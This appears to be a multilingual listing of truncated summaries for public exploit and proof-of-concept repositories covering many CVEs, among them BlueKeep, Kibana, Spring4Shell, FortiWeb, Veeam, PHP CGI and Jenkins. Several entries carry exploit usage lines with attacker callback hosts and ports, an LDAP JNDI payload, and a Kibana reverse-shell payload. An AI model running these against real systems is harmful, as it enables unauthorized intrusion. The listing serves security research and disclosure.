CVE-2020-1947

CVE-2020-1947 root@kitploit: usage: CVE-2020-1947.py -h -i IP -p PORT -T ACCESSTOKEN -poc POC python CVE-2020-1947.py -i 192.168.128.135 -p 8088 -T eyJ1c2VybmFtZSI6ImFk -poc ldap://127.0.0.1:1389/CommandObject...

CVE-2019-0708

CVE-2019-0708 CVE-2019-0708 的初始利用程序，BlueKeep CVE-2019-0708 BlueKeep RDP 远程 Windows 内核释放后使用 RDP 的 termdd.sys 驱动程序不当处理对内部专用通道 MST120 的绑定，导致格式错误的 Disconnect Provider Indication 消息可能引发释放后使用。通过可控数据/大小的远程非分页池喷射，利用释放通道的间接调用 gadget 实现任意代码执行。 受影响的应用 该利用程序应能针对以下 Windows 系统中存在漏洞的 RDP 服务工作： Windows 2000 x86（...

CVE-2026-76801

CVE-2026-76801 affects the FireBox WordPress plugin (WooCommerce Popup Builder, Exit Intent Popup, Email Optin & Cart Abandonment) in versions up to and including 3.1.10 . The root cause is a trivially bypassable regex blacklist in Executer::allowedToRun() that fails to block WordPress core funct...

EUVD-2026-74567

The FireBox – WooCommerce Popup Builder, Exit Intent Popup, Email Optin & Cart Abandonment plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 3.1.10 via the value function. This is due to a trivially bypassable regex blacklist in Executer::allowedToR...

CVE-2026-76801 FireBox <= 3.1.10 - Authenticated (Author+) Remote Code Execution to Privilege Escalation

The FireBox – WooCommerce Popup Builder, Exit Intent Popup, Email Optin & Cart Abandonment plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 3.1.10 via the value function. This is due to a trivially bypassable regex blacklist in Executer::allowedToR...

CVE-2019-7609

CVE-2019-7609 Kibana-7609 的 Docker 实验室设置 参考：https://github.com/mpgn/CVE-2019-7609 root@kitploit: 打开 Kibana 将以下其中一个 payload 粘贴到 Timelion 可视化工具中 点击运行 在左侧面板中点击 Canvas 你的反弹 Shell 应该会出现！: payload 由 @securityMB 提供 .es.propslabel.proto.env.AAAA='require"childprocess".exec"bash -i &...

CVE-2022-22965_Spring_Core_RCE

Spring-Core-RCE Spring Framework 远程命令执行漏洞（CVE-2022-22965） Spring-Core-RCE堪比关于 Apache Log4j2核弹级别漏洞exp的rce一键利用 概述 近日，Spring 官方 GitHub issue中提到了关于 Spring Core 的远程命令执行漏洞，该漏洞广泛存在于Spring 框架以及衍生的框架中。 漏洞描述 Spring core是Spring系列产品中用来负责发现、创建并处理bean之间的关系的一个工具包，是一个包含Spring框架基本的核心工具包，Spring其他组件都要使用到这个包。...

pulse-secure-vpn-mitm-research

pulse-secure-vpn-mitm-research Pulse Secure 中间人研究 发布日期 与厂商联合发布日期：2020年10月26日 作者 David Kierznowski, @withdk 致谢 Sahil Mahajan，来自 Pulse Secure PSIRT 团队，在整个披露过程中给予支持。 Alyssa Herrera、Justin Wagner、Mimir 和 Rich Warren，感谢他们的文章《红队人员 Pulse Secure SSL VPN 指南》——Alyssa Herrera（2019年9月4日）。 SA 红队（SA Red...

pulse-gosecure-rce-poc

pulse-gosecure-rce root@kitploit: /\ \ /\ \ /\ \ /\ \ /\ \ /::\ \ /::\ /::\ /::\ \ /::\ \ /::::\ \ /:::/ / /:::/ / /::::\ \ /::::\ \ /::::::\ \ /:::/ / /:::/ / /::::::\ \ /::::::\ \ /:::/:::\ \ /:::/ / /:::/ / /:::/:::\ \ /:::/:::\ \ /:::/:::\ \ /:::/ / /:::/ / /:::/:::\ \ /:::/:::\ ...

CVE-2023-46404

CVE-2023-46404 PCRS 是由多伦多大学开发的用于在线编程练习的 Web 应用。 参见 Bitbucket 仓库： https://bitbucket.org/utmandrew/pcrs/src/3.11/ 摘要 PCRS 的“问题”（Questions）页面（包含代码提交功能）和“代码编辑器”（Code editor）页面存在通过逃逸 Python 沙箱实现远程代码执行（RCE）的漏洞。 详情 在 PCRS 实例中，可通过使用生成器对象实现远程代码执行。通过使用生成器帧（giframe）和 fback，脚本可以穿越沙箱栈帧，在非沙箱环境中执行恶意代码。此外，Unicod...

HG532d-RCE-Exploit

HG532d RCE エクスプロイト 概要 脆弱性CVE-2017-17215に基づくリモートコード実行（RCE）エクスプロイトです。exploit-db.comの元のPoCコードから改造し、Huawei HG532d ホームゲートウェイルーターで動作するようにしました。 説明 このRCEエクスプロイトはCVE-2017-17215に基づいており、Huawei HG532シリーズのホームルーターで動作するUPnPプロセスの脆弱性を悪用します。exploit-db.comの元のエクスプロイトはHG532ホームルーターを対象としています。 このエクスプロイトは、HTTP...

CVE-2023-24489-poc

CVE-2023-24489-poc 使用 bash 实现的 CVE-2023-24489 的 POC。 它需要一个包含要测试的目标列表的 target.txt 文件，格式如下： https://example1.com https://example2.com https://example3.com 该文件必须与 bash 脚本位于同一目录下。 请谨慎使用！ 参考资料：https://blog.assetnote.io/2023/07/04/citrix-sharefile-rce/...

CVE-2025-52136

CVE-2025-52136 root@kitploit: https://github.com/ricardojoserf/emqx-RCE La forma original de explotación consiste en subir un plugin de EMQX, añadiendo en el código de la plantilla del plugin una llamada al módulo os de Erlang para ejecutar comandos del sistema y lograr RCE. En entornos con salid...

CVE-2026-22812-POC

OpenCode CVE-2026-22812 利用工具 用于检查和利用 OpenCode 漏洞（CVE-2026-22812）的简单 Python 工具。 安装 root@kitploit: git clone https://github.com/CayberMods/CVE-2026-22812-POC.git cd CVE-2026-22812-POC pip install requests urllib3 argparse concurrent-log-handler colorama 基本用法 root@kitploit: 检查单个目标 python rce.py -u...

watchTowr-vs-FortiWeb-CVE-2025-25257

watchTowr-vs-FortiWeb-CVE-2025-25257 FortiWeb CVE-2025-25257 检测工件生成器 技术细节请参阅我们的博客文章 https://github.com/user-attachments/assets/e59f2b3b-2b9b-469f-b4a8-2b7df2ede194 检测演示 root@kitploit: python watchTowr-vs-FortiWeb-CVE-2025-25257.py --target https://192.168.8.30/ --lhost 192.168.8.148 --lport 1350 ...

juniper-rce_cve-2023-36844

CVE-2023-36844 , CVE-2023-36845 , CVE-2023-36846 , CVE-2023-36847 一个概念验证，链式利用由 @watchTowr 开发的 CVEs CVE-2023-36844, CVE-2023-36845, CVE-2023-36846, CVE-2023-36847，在 Juniper JunOS 中的 SRX 和 EX 系列产品上实现远程代码执行。 关注 watchTowr 实验室团队，获取我们的安全研究 https://labs.watchtowr.com/ https://twitter.com/watchtowrcyber...

CVE-2024-40711

CVE-2024-40711 Veeam Backup & Replication 预认证反序列化漏洞 CVE-2024-40711 的利用程序 技术细节请参阅我们的博客文章 https://github.com/user-attachments/assets/24e8122c-3e84-408b-87a9-684a9aabeb70 PoC 演示 root@kitploit: CVE-2024-40711.exe -f binaryformatter -g Veeam -c http://192.168.201.1:8000/trigger --targetveeam...

CVE-2024-4577

CVE-2024-4577 由 @watchTowr 开发的概念验证，利用 PHP CGI 参数注入漏洞（CVE-2024-4577），在运行于 Windows 环境中的易受攻击的 PHP 版本上实现 RCE。此漏洞的详细技术分析 Orange Tsi 🍊 此漏洞由 DEVCORE @d3vc0r3 的 Orange Tsai @orange8361 发现。请务必关注他的杰出研究，我们的角色仅是复现并为此漏洞开发利用程序。 PoC || GTFO root@kitploit: python watchTowr-vs-phpcve-2024-4577.py -c "" -t...

CVE-2024-27130

CVE-2024-27130 由 @watchTowr 开发的概念验证，利用堆栈溢出漏洞在易受攻击的 QNAP 设备上获取 RCE。 关注 watchTowr 实验室团队，获取我们的安全研究 https://labs.watchtowr.com/ https://twitter.com/watchtowrcyber...

CVE-2017-1000353

CVE-2017-1000353 POC 如何复现 Jenkins CVE-2017-1000353？ 克隆此仓库，使用预先构建的 payload jenkinspoc.ser 运行以下命令： root@kitploit: python exploit.py http://your-ip:8080 jenkinspoc.ser 然后会执行 touch /tmp/success。 Java 版本要求 重要 ：payload 的生成依赖于 Java 版本。已在 openjdk:8u292 上成功测试。其他 Java 版本可能无法正常生成 payload 并进行利用。 如何生成 payload...